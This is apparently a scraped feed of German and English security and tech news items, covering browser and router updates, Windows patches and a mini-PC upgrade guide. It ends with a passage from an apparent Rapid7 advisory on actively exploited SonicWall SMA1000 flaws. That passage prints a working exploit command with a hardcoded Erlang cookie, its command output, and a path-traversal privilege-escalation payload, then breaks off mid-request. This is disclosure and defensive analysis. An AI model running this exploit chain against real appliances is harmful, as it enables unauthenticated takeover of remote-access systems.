Amy Burnett and Khai Tran discovered that processing maliciously crafted web content may lead to an unexpected process crash.

https://security-tracker.debian.org/tracker/DSA-6398-1

Dieser Beitrag Apple behebt Bug in „Hide My Email“: Reale Adressen landeten in Mail-Logs erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Dieser Beitrag Gemini 3.5 Flash Cyber: Google stellt KI-Agent für schnelle Patch-Reparaturen bereit erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Tags: #Apple | #Cyber Security | #E-Mail

Tags: #Cyber Security | #Google | #Künstliche Intelligenz

In den neuen Chrome-Versionen 150.0.7871.181/182 für Windows und macOS sowie 150.0.7871.181 für Linux vom 21. Juli haben die Entwickler 12 Schwachstellen beseitigt. Keine der geschlossenen Lücken wird laut Google bislang für Angriffe ausgenutzt. Die Hersteller anderer Chromium-basierter Browser werden in Kürze nachziehen.

Im Chrome Release Blog führt Daniel Yip 12 beseitigte Sicherheitslücken auf, die alle als hohes Risiko eingestuft sind. Er gibt an, Google habe alle Schwachstellen bis auf zwei selbst entdeckt. Die Sicherheitslücken CVE-2026-16420 und -16421 sind durch externe Sicherheitsforscher aufgespürt und gemeldet worden. Es handelt sich um Fehler in der WebAudio-Komponente. Google spendiert für jede der beiden Lücken 500 US-Dollar Prämie. Die verbleibenden Schwachstellen sind eine bunte Mischung gängiger Fehlerquellen, diesmal sind nur zwei Use-after-free-Lücken (UAF) darunter.

▶Die neuesten Sicherheits-Updates

In der Vorwoche hat Google erneut zwei Updates ausgeliefert und damit insgesamt 22 teils als kritisch eingestufte Sicherheitslücken geschlossen. In aller Regel aktualisiert sich Chrome automatisch, wenn eine neue Version verfügbar ist. Mit dem Menü-Eintrag » Hilfe » Über Google Chrome können Sie die Update-Prüfung manuell anstoßen.

Google hat am 21. Juli auch Chrome für Android 150.0.7871.181 sowie Chrome für iOS 151.0.7922.43 bereitgestellt. In der Android-Version sind die gleichen Schwachstellen beseitigt wie in den Desktop-Ausgaben. Der Extended Stable Channel für Windows und macOS enthält nun die Chromium-Version 150.0.7871.182. Die Freigabe der Chrome-Version 151 ist für den 28. Juli geplant.

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Andere Chromium-basierte Browser

Die Hersteller anderer auf Chromium basierender Browser sind nun wieder gefordert, mit Updates nachzuziehen. Microsoft Edge, Brave und Vivaldi sind auf dem Sicherheitsstand der Vorwoche. Opera ist mit seiner Browser-Version 133 weiterhin auf einem Holzweg unterwegs. Darin ist die veraltete Chromium-Ausgabe 149.0.7827.201 vom 25. Juni verbaut und für Chromium 149 liefert Google seitdem keine Updates mehr.

Chromium-basierte Browser in der Übersicht:

Die neue Firefox-Version 153 für Windows, macOS, Linux und Android bringt einige Verbesserungen bei der Benutzung wie etwa HDR-Videowiedergabe, abgeschottete Tab-Umgebungen, und QR-Code-Erzeugung zur Link-Weitergabe. Die Entwickler haben mehr als 60 Sicherheitslücken gestopft. Updates gibt es auch für die ESR-Versionen.

Im Sicherheitsbericht für Firefox 153 nennt Mozilla mehr als 63 beseitigte Sicherheitslücken, von denen 60 durch externe Sicherheitsforscher entdeckt und gemeldet wurden, drei davon durch OpenAI Codex Security. Mozilla stuft 17 dieser Schwachstellen als hohes Risiko ein. Bei vier dieser Lücken drohen Ausbrüche aus der Browser-Sandbox.

▶Die neuesten Sicherheits-Updates

Weitere 35 Schwachstellen sind als mittleres Risiko ausgewiesen, der Rest als geringes Risiko. Die drei letzten Einträge im Sicherheitsbericht fassen eine nicht angegebene Zahl intern gefundener, als hohes Risiko eingestufter Sicherheitslücken zusammen, die aus Programmierfehlern bei der Speicherverwaltung resultieren. Die Lücken sind danach gruppiert, welche Programme und Programmversionen betroffen sind.

Was ist neu in Firefox 153?

Für Windows-Nutzer bietet Firefox 153 die Wiedergabe von HDR-Videos (High Dynamic Range). Voraussetzung ist, dass der HDR-Modus in den Windows Bildschirmeinstellungen aktiviert ist. Notebook-Displays, die lediglich „HDR Video-Streaming“ bieten, werden derzeit nicht unterstützt, ebenso wie Smartphone-Videos im Hochkant-Format.

Mit dem integrierten PDF-Betrachter und -Editor können Sie nun mehrere PDF-Dateien zusammenführen, indem Sie sie in die PDF-Sidebar ziehen. Auch können Sie jetzt Bilder als neue Seiten in PDF-Dokumente einfügen.

Wenn Sie einen Link weitergeben wollen, etwa auch an Ihr eigenes Smartphone, ohne einen Web-Dienst (wie Firefox Sync) zu benutzen, können Sie mit Firefox 153 einen QR-Code erstellen. Firefox hebt nun das Symbol für die Standort-Freigabe in roter Farbe hervor, wenn eine Website Zugriff auf Ihren Standort hat.

fz

Das mit Firefox 149 eingeführte und in Firefox integrierte Gratis-VPN bietet weiterhin eine vorübergehend (bis Ende August) auf 28 Länder erweiterte Auswahl virtueller Standorte mit uneingeschränktem Datenvolumen. Das kostenlose VPN ist derzeit für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar.

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Weitere Browser-Updates

Neben Firefox 153.0 sind auch die ESR-Ausgaben 140.13.0 und 115.38.0 erhältlich. Letztere gibt es allerdings nur für Windows 7 & 8.1 sowie macOS 10.12 bis 10.14. In den ESR-Versionen haben Mozillas Entwickler diejenigen der oben genannten Schwachstellen behoben, die schon im teils gut abgehangenen Code dieser Browser-Generationen stecken. Das sind in Firefox 140.13 mindestens 32 und in Firefox 115.38 immerhin noch wenigstens 14 geschlossene Sicherheitslücken. Darunter sind zwei als kritisch eingestufte Schwachstellen, die bereits in Firefox 152.0.6 beseitigt wurden. Firefox 153 ist außerdem die Basis für die nächste ESR-Generation. Das bedeutet, Firefox ESR 140 wird im Oktober durch Firefox ESR 153 abgelöst.

Gnadenfrist für Windows 7 & 8 erneut verlängert

Firefox ESR 115 wird vorerst bis März 2027 (v115.52) weiter mit Sicherheits-Updates gepflegt. Wenn Sie Firefox 115 unter Windows 7, 8.1 oder macOS 10.12 bis 10.14 einsetzen, erhalten Sie zumindest für den Browser weiterhin aktuelle Sicherheits-Updates. Rechtzeitig vor Ablauf dieser Gnadenfrist wird Mozilla die Situation neu bewerten und dann entscheiden, ob es eine weitere Verlängerung gibt.

Updates für Tor Browser und Thunderbird

Der neueste Tor Browser 15.0.19 basiert auf Firefox ESR 140.13. Das ansonsten von Mozilla unabhängige Tor-Projekt und die Nutzer des Tor Browsers profitieren so von den in Firefox gestopften Sicherheitslücken. Tor Browser 15.0.9 bringt die Erweiterung NoScript 13.6.31 mit. Das Tor Projekt hostet NoScript für seinen Browser inzwischen selbst. Erkennbar ist das daran, dass diese NoScript-Version den Suffix „.1984“ (aktuell also 13.6.31.1984) trägt – George Orwell lässt grüßen. Ansonsten ist sie identisch mit der Version auf AMO (addons.mozilla.org). Einen Tor Browser für ältere Systeme gibt es nicht mehr. Auch Mozillas Mailer Thunderbird 153.0 und 140.13.0esr sind verfügbar. Darin haben die Entwickler ebenfalls Dutzende Sicherheitslücken beseitigt, die das Mail-Programm vorwiegend von Firefox geerbt hat.

Bis zur Veröffentlichung der nächsten Hauptversion Firefox 154 am 18. August plant Mozilla wöchentliche Updates zur Fehlerbehebung und um weitere Schwachstellen zu beseitigen. Nach Firefox 154 wechselt Mozilla, wie auch Google Chrome und Microsoft Edge, auf einen zweiwöchentlichen Turnus für neue Hauptversionen. Firefox 155 soll demnach bereits am 1. September erscheinen.

Besitzer einer Fritzbox 7510 steht ab sofort FritzOS 8.26 bereit. Das neue Wartungsupdate behebt einen Fehler, der unter bestimmten Bedingungen die Geschwindigkeit von DSL-Anschlüssen erheblich reduzieren konnte. Darauf weisen die offiziellen Versionshinweise von Fritz sowie mehrere Medienberichte, etwa von Winfuture, hin.

Wer eine Fritzbox 7510 nutzt, sollte daher prüfen, ob die neue Firmware bereits zur Installation angeboten wird. Das Update enthält zwar keine neuen Funktionen, beseitigt aber ein Problem, das die Internetverbindung im Alltag spürbar beeinträchtigen konnte.

Fehler begrenzte DSL-Anschlüsse auf 10 MBit/s

In bestimmten technischen Konstellationen kam es vor, dass DSL-Verbindungen unabhängig vom gebuchten Tarif auf maximal 10 MBit/s begrenzt wurden. Nutzer bemerkten dies möglicherweise durch ungewöhnlich langsame Downloads, längere Ladezeiten oder Probleme beim Streaming und Online-Gaming.

Mit FritzOS 8.26 soll dieser Fehler nun behoben sein. Die offiziellen Änderungen fallen überschaubar aus:

• Behebung eines Fehlers, der DSL-Verbindungen unter bestimmten Bedingungen auf 10 MBit/s begrenzen konnte
• Verbesserungen der Systemstabilität

Bislang nur für die Fritzbox 7510

Aktuell wird FritzOS 8.26 für die Fritzbox 7510 bereitgestellt. Dabei handelt es sich um ein DSL-Einstiegsmodell mit Unterstützung für Supervectoring-Anschlüsse mit bis zu 300 MBit/s.

Erfahrungsgemäß veröffentlicht Fritz neue Wartungsupdates jedoch häufig zunächst für einzelne Modelle, bevor weitere Router folgen. Ob und wann andere Fritzboxen ebenfalls FritzOS 8.26 erhalten, ist derzeit noch nicht bekannt.

Unabhängig davon empfiehlt es sich grundsätzlich, regelmäßig nach neuen Firmware-Versionen zu suchen. Updates schließen nicht nur Fehler, sondern verbessern häufig auch die Stabilität und Sicherheit des Heimnetzes.

So prüfen Sie, ob das Update verfügbar ist

Die Aktualisierung lässt sich direkt über die Benutzeroberfläche der Fritzbox installieren. Öffnen Sie dazu in Ihrem Browser die Adresse „fritz.box“ und wechseln Sie anschließend zu System > Update. Dort können Sie manuell nach einer neuen Firmware suchen.

Wer automatische Updates aktiviert hat, muss in der Regel nichts unternehmen. In diesem Fall lädt und installiert die Fritzbox neue Versionen selbstständig, häufig außerhalb der üblichen Nutzungszeiten.

Für Besitzer einer Fritzbox 7510 dürfte die Installation von FritzOS 8.26 insbesondere dann interessant sein, wenn die Internetgeschwindigkeit zuletzt unerwartet niedrig ausgefallen ist.

Weitere Beiträge zum Thema:

• Fritzbox-Router im Vergleich: Welches ist das beste Modell?
• Fritzbox absichern: So sind Sie optimal geschützt
• Test: Fritzbox 7590 AX – neuer High-End-Router mit Wi-Fi 6

Gemini 3.5 Flash Cyber Focuses on Scalable Cybersecurity 

Flash Cyber Improves Large-scale Code Analysis 

Benchmark Results Show Competitive Performance 

Real-world Cybersecurity Deployment 

Apple hat die zu Monatsbeginn bekannt gewordene Schwachstelle in der Funktion „E-Mail-Adresse verbergen“ offenbar endlich behoben. Über ein Jahr lang ließ sich die tatsächliche E-Mail-Adresse von Nutzern des Dienstes vergleichsweise einfach herausfinden, während Apple damit geworben hatte, dass diese nicht preisgegeben werde. „E-Mail-Adresse verbergen“ ist eine von Apple im Rahmen des kostenpflichtigen iCloud+-Pakets angebotene Funktion. […]

The post Apple behebt Schwachstelle bei „E-Mail-Adresse verbergen“ first appeared on ifun.de.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Microsoft hat am Wochenende ein außerplanmäßiges Update für Windows 11 veröffentlicht. Das Update mit der Kennung KB5121767 richtet sich an Nutzer von Windows 11 24H2 und 25H2 und soll ein Problem beheben, das nach den jüngsten Windows-Updates bei einer begrenzten Anzahl von Geräten aufgetreten ist.

Darauf macht Microsoft in den offiziellen Versionshinweisen aufmerksam. Betroffen sind vor allem bestimmte Dell-PCs und Notebooks mit einem Intel-Treiber für das sogenannte Intel Innovation Platform Framework (Intel IPF).

Was das Update behebt

Laut Microsoft konnte es nach der Installation aktueller Windows-Updates auf einigen Geräten zu Veränderungen der Systemleistung, erhöhtem Stromverbrauch oder unerwartetem Systemverhalten kommen. Ursache ist ein Konflikt mit dem Intel-IPF-Treiber.

Der Treiber ist unter anderem für Funktionen rund um Energieverwaltung, Temperatursteuerung und Leistungsoptimierung zuständig. Wenn dieser nicht korrekt mit Windows zusammenarbeitet, können sich Probleme bei Akkulaufzeit, Performance oder Stabilität bemerkbar machen.

Microsoft hatte deshalb die Verteilung des Juli-Sicherheitsupdates KB5101650 für betroffene Systeme vorübergehend blockiert. Mit dem nun veröffentlichten Update KB5121767 wird diese Sperre wieder aufgehoben.

Welche Geräte betroffen sind

Microsoft spricht von einer begrenzten Zahl betroffener Systeme. In Berichten werden vor allem neuere Dell-Modelle genannt, darunter verschiedene Precision-, XPS- und Pro-Max-Geräte.

Für die große Mehrheit aller Windows-11-Nutzer besteht laut Microsoft kein Handlungsbedarf. Das Unternehmen empfiehlt die Installation des Updates ausdrücklich nur auf Geräten, die tatsächlich von dem Fehler betroffen sind.

So erhalten Sie das Update

Wer in Windows Update die Option „Erhalten Sie die neuesten Updates, sobald sie verfügbar sind“ aktiviert hat, erhält KB5121767 automatisch.

Alternativ lässt sich das Update über Einstellungen > Windows Update manuell herunterladen und installieren. Außerdem stellt Microsoft das Paket über den Microsoft Update Catalog bereit.

Nach der Installation steigt die Build-Nummer auf:

• Windows 11 25H2: Build 26200.8894
• Windows 11 24H2: Build 26100.8894

Da es sich um ein kumulatives Update handelt, enthält KB5121767 auch alle bisherigen Sicherheits- und Qualitätsverbesserungen der vorherigen Updates.

Zusätzlich aktualisiert Microsoft mehrere KI-Komponenten von Windows auf Version 1.2605.856.0. Dazu gehören unter anderem Funktionen für Bildsuche, Inhaltserkennung und semantische Analyse.

Für wen das Update wichtig ist

Wenn Ihr Windows-11-PC nach den Juli-Updates ungewöhnlich langsam geworden ist, mehr Strom verbraucht als üblich oder sich auffällig verhält, kann sich die Installation von KB5121767 lohnen. Das gilt insbesondere für Besitzer aktueller Dell-Geräte mit Intel-Prozessoren.

Läuft Ihr Rechner dagegen problemlos, müssen Sie laut Microsoft nichts unternehmen.

Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade für günstige 59,99 Euro statt 145 Euro erhältlich.

The post Product showcase: ZoneAlarm Mobile Security adds customizable content filtering to mobile security appeared first on Help Net Security.

Mini-PCs sind längst mehr als einfache Office-Rechner. Sie stehen auf dem Schreibtisch, hinter dem Monitor, im Wohnzimmer oder im Heimlabor und übernehmen dort Aufgaben, für die früher ein großer Desktop-PC nötig war. Genau deshalb lohnt sich der Blick ins Innere: Wer RAM, SSD, WLAN und Anschlüsse vor dem Kauf richtig einschätzt, kann ein kompaktes System später gezielt erweitern statt vorschnell ersetzen.

Der Spielraum ist allerdings kleiner als bei klassischen Tower-PCs. Kompakte Gehäuse, verlötete Bauteile und enge Kühlsysteme setzen klare Grenzen. Trotzdem können RAM, SSD, WLAN-Modul oder externe Grafiklösung den Unterschied machen – zwischen einem Mini-PC, der nur knapp ausreicht, und einem System, das noch mehrere Jahre sinnvoll nutzbar bleibt.

Was sich überhaupt aufrüsten lässt

Drei Komponenten sind in den meisten Mini-PCs zugänglich: Arbeitsspeicher, SSD und das WLAN-Modul. Eine externe Grafikkarte kommt als vierte Option hinzu, sofern der passende Anschluss vorhanden ist. Prozessor und integrierte Grafik bleiben außen vor. Sie sind fest verlötet. Wer das vorher weiß, spart sich Enttäuschungen.

Wie groß die Unterschiede ausfallen können, zeigt der Sapphire Edge AI 370 als positives Beispiel. Der Mini-PC nutzt austauschbare DDR5-SO-DIMMs statt verlötetem LPDDR-Speicher und unterstützt bis zu 96 GB RAM. Auch die SSDs sind gut erreichbar: Der magnetisch befestigte Deckel lässt sich ohne Werkzeug abnehmen, darunter liegen die wichtigsten Komponenten direkt zugänglich. Für Käufer, die später aufrüsten wollen, ist eine solche Bauweise ein klarer Vorteil.

Arbeitsspeicher: der erste Griff

Der RAM ist die naheliegendste Maßnahme. In vielen Mini-PCs stecken SO-DIMM-Riegel in einem Sockel, wie man sie aus dem Notebook kennt. Oft reichen ein Schraubendreher und wenige Minuten. Je nach Gehäuse können aber zusätzliche Abdeckungen, Clips oder verklebte Füße den Zugriff erschweren.

Aktuelle Geräte nutzen DDR5, ältere DDR4. Die beiden Generationen sind nicht kompatibel, die Kerbe sitzt an anderer Stelle.

Christoph Hoffmann

Zwei Punkte entscheiden über den Erfolg: Erstens die maximale Kapazität, die das Board adressiert. Steht im Datenblatt 64 GB, sollte man ein größeres Kit nicht einplanen. In Einzelfällen kann mehr Speicher funktionieren, garantiert ist das aber nicht. Zweitens der Dual-Channel-Betrieb. Zwei gleiche Riegel liefern mehr Tempo als ein einzelner, was sich gerade bei der integrierten Grafik bemerkbar macht.

Vorsicht bei besonders flachen Modellen: LPDDR5 oder LPDDR5X sitzt meist fest auf der Platine, ein Tausch ist ausgeschlossen. LPCAMM2 könnte das künftig ändern, weil LPDDR-Speicher damit als steckbares Modul ausgeführt wird. In Mini-PCs ist das aber noch nicht der Normalfall. Wer später aufrüsten will, sollte deshalb vor dem Kauf ausdrücklich nach SO-DIMM- oder LPCAMM2-Steckplätzen suchen.

SSD: mehr Platz, mehr Tempo

Die zweite lohnende Maßnahme betrifft die SSD. Hersteller sparen hier gern an zwei Fronten: an Kapazität und an Tempo. 512 GB sind schnell voll. Viele Mini-PCs bieten einen M.2-2280-Steckplatz für eine NVMe-SSD, manche zwei oder drei. Geräte wie der GMKtec K12 bringen drei M.2-Slots mit – Raum genug, um Windows und Daten zu trennen.

Christoph Hoffmann

Achten Sie auf die PCIe-Generation. Neue Modelle unterstützen teils PCIe 5.0, die meisten PCIe 4.0. Eine schnellere SSD läuft auch in einem langsameren Slot, dann eben gedrosselt. Ein zweiter Steckplatz lässt sich für ein reines Datenlaufwerk nutzen, ohne das System anzutasten. Wer nur ein kleindimensioniertes Laufwerk vorfindet, sichert seine Daten, klont die alte SSD vor dem Tausch oder setzt Windows neu auf.

Wichtig ist außerdem die Bauhöhe. In manchen Mini-PCs bleibt wenig Platz für SSDs mit hohem Kühlkörper. Oft passt nur ein dünnes Wärmeleitpad, nicht aber ein hoher SSD-Kühlkörper. Eine sehr schnelle PCIe-5.0-SSD bringt wenig, wenn sie im engen Gehäuse wegen Hitze schnell drosselt.

Praxis-Tipp: Vorsicht bei WLAN-Antennen

Beim Öffnen mancher Mini-PCs ist Vorsicht geboten. Innenliegende Metallabdeckungen führen die WLAN-Antennenkabel teils sehr knapp an der WLAN-Karte vorbei. Wer RAM oder SSD tauscht, kann beim Abheben der Abdeckung versehentlich das schwarze und graue Antennenkabel lösen. Danach funktionieren WLAN und Bluetooth nicht mehr zuverlässig oder gar nicht. In unserem Test des Geekom A9 Max zeigte sich genau dieses Risiko.

Christoph Hoffmann

Ziehen Sie Abdeckungen deshalb nie ruckartig ab. Prüfen Sie zuerst, ob Antennenkabel mit Klebestreifen fixiert sind, und lösen Sie diese vorsichtig. Falls die Kabel bereits abgezogen sind, müssen sie wieder auf die WLAN-Karte gesteckt werden: Schwarz gehört meist auf „Main“, Grau auf „AUX“. Oft sitzt die WLAN-Karte unter der M.2-SSD, sodass die SSD vorübergehend ausgebaut werden muss.

WLAN-Modul: der Sprung auf Wi-Fi 7

Das WLAN-Modul ist das unscheinbare Upgrade. In vielen Mini-PCs sitzt es als kleine M.2-2230-Karte unter einer Abdeckung und lässt sich gegen ein neueres Modell tauschen. Vor dem Kauf sollten Sie aber prüfen, ob Antennenanschlüsse, Bauform, Anbindung und Treiber passen.

Der Wechsel von Wi-Fi 5 oder Wi-Fi 6 auf Wi-Fi 7 bringt mehr Durchsatz und Bluetooth in aktueller Version. Spürbar wird der Nutzen aber nur, wenn auch der Router mitspielt. Für Geräte am Netzwerkkabel lohnt der Tausch kaum.

Externe Grafikkarte: OCuLink hat Leistungsvorteile

Den deutlichsten Sprung bringt eine externe Grafikkarte. Mini-PCs setzen auf integrierte Grafik, die für Office und Filme genügt, beim Spielen aber an Grenzen stößt. Eine eGPU schließt die Lücke. Sie steckt in einem Gehäuse mit eigenem Netzteil und verbindet sich per Kabel mit dem Rechner.

Der Anschluss entscheidet über das Ergebnis. OCuLink führt die PCIe-Leitungen direkt nach außen und verliert deshalb nur wenig Leistung. Bei PCIe 4.0 x4 stehen 64 Gbit/s zur Verfügung. Je nach Grafikkarte, Spiel, Auflösung und Dock liegt der Leistungsverlust oft grob bei 3 bis 7 Prozent.

Mark Hachman / Foundry

USB4 und Thunderbolt sind flexibler, bremsen eine externe Grafikkarte aber meist stärker aus. Thunderbolt 5 und USB4 v2 bieten deutlich mehr Bandbreite als Thunderbolt 4 oder klassisches USB4, trotzdem hängt der Leistungsverlust stark von Dock, Grafikkarte, Spiel und Auflösung ab.

Als grobe Orientierung gilt: OCuLink liegt häufig im niedrigen einstelligen Prozentbereich, Thunderbolt 4 und USB4 können je nach Szenario deutlich mehr Leistung kosten. Ein verbreiteter Irrtum bleibt daher: Ein USB4-Port allein macht noch keinen guten eGPU-Host.

Ein Nachteil bleibt: OCuLink kennt kein Hot-Plug. Zum Verbinden oder Trennen muss der Rechner heruntergefahren werden. Und günstig ist das Setup nicht: Gehäuse, Grafikkarte und ein passendes Netzteil summieren sich. Wer ohnehin am Schreibtisch bleibt, fährt mit einem kompakten Desktop oft preiswerter.

Kühlung und Wärmeleitpaste

Ein Mini-PC lebt von kompakter Bauweise. Das hat seinen Preis bei der Kühlung. Wer das Gehäuse ohnehin geöffnet hat, kann die Wärmeleitpaste erneuern. Bei älteren Geräten bringt das ein paar Grad weniger und einen ruhigeren Lüfter. Ein Pflichtprogramm ist es nicht. Wer sich unsicher fühlt, lässt die Finger davon. Wer zu viel Wärmeleitpaste verwendet oder Bauteile beim Zerlegen beschädigt, schafft schnell mehr Probleme, als er löst.

Betriebssystem und BIOS

Auch ohne neue Hardware lässt sich Tempo gewinnen. Ein aktuelles BIOS behebt Fehler und gibt manchmal höhere RAM-Taktraten frei. Vor dem Update sollten Sie aber das exakte Modell prüfen, die Herstellerhinweise lesen und den Vorgang nicht bei instabiler Stromversorgung starten.

Wer Windows als Bremse empfindet, kann ein schlankes Linux installieren. Das weckt gerade ältere Mini-PCs neu auf. Beides kostet kein zusätzliches Geld, verlangt aber Vorbereitung und etwas Zeit.

Wo die Grenzen liegen

Drei Dinge bleiben bei den meisten Mini-PCs praktisch ausgeschlossen. Der Prozessor ist verlötet und nicht zu tauschen. Die integrierte Grafik hängt am Prozessor und teilt sein Schicksal. Und die maximale RAM-Kapazität legt das Board fest, nicht der gute Wille. Wer an diese Wände stößt, steht vor der Frage nach einem neuen Gerät – nicht vor einem Upgrade.

Was sich lohnt – und was nicht

Unterm Strich zeichnet sich eine klare Rangfolge ab. Mehr RAM bringt für wenig Geld viel und bleibt der erste Griff, sofern ein Sockel verbaut ist. Eine größere oder schnellere SSD schafft Platz und Reserven. Das WLAN-Modul lohnt sich nur mit passender Gegenstelle. Eine eGPU kann den Mini-PC deutlich spieletauglicher machen, verlangt aber Anschluss, Geld und einen festen Platz. Prozessor und Grafikeinheit können nicht angerührt werden.

Der wichtigste Schritt steht vor dem Kauf: Wer später aufrüsten will, prüft Sockel, Steckplätze und Anschlüsse im Datenblatt. Ein Mini-PC mit zwei RAM-Slots, zusätzlichem M.2-Steckplatz und OCuLink-Port lässt viele Aufrüstoptionen offen. Ein flaches Modell mit verlötetem Speicher bleibt dagegen weitgehend auf dem Stand des ersten Tages.

Der Direct3D-zu-Vulkan-Übersetzer DXVK für Linux hat ein Update auf Version 3.0.2 erhalten. Es behebt unter anderem Fehler in Halo CE, Dying Light: The Beast und Overwatch. Zudem gibt es eine neue Umgebungsvariable, mit der sich Debug-Informationen für Fehlerberichte erfassen lassen.

Microsoft hat eine schwerwiegende Sicherheitslücke in der überarbeiteten Version des Strategiespiels „Age of Empires 2“ behoben. Die Sicherheitslücke ermöglichte es Angreifern, die Kontrolle über den Computer eines Nutzers zu übernehmen, indem sie eine speziell gestaltete Spieleinladung versendeten, berichtet TechCrunch.

Nach Angaben des Cybersicherheitsunternehmens Rapid7 könnte ein erfolgreicher Angriff schädliche Dateien auf dem Computer des Opfers platzieren und es dem Hacker praktisch ermöglichen, die Kontrolle über den gesamten Computer zu übernehmen.

Derzeit liegen keine Hinweise darauf vor, dass die Sicherheitslücke in „Age of Empires 2“ bei tatsächlichen Angriffen ausgenutzt wurde.

Die Sicherheitslücke wurde im Rahmen des umfangreichen Microsoft-Patchdays am Dienstag gestopft, bei dem das Unternehmen eine große Anzahl von Sicherheitslücken in seinen Produkten behoben hat.

Dieser Beitrag Zoom behebt kritische Windows-Sicherheitslücke gegen Account-Übernahmen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

The post Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post macOS Infostealer Steals Telegram Sessions and Replaces Ledger and Trezor Wallet Apps appeared first on Cyber Security News.

Windows 10 hat im Rahmen des Programms für erweiterte Sicherheitsupdates (ESU) ein weiteres Update erhalten. Zwar fällt der Umfang geringer aus als zuletzt bei Rekord-Patchday von Windows 11, dennoch schließt Microsoft aktuelle Sicherheitslücken, behebt mehrere Fehler im Betriebssystem und verteilt neue Secure-Boot-Zertifikate.

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

• 12.4.3-03245

• 12.4.3-03387

• 12.4.3-03434 (platform-hotfix)

• 12.5.0-02283

• 12.5.0-02624

• 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

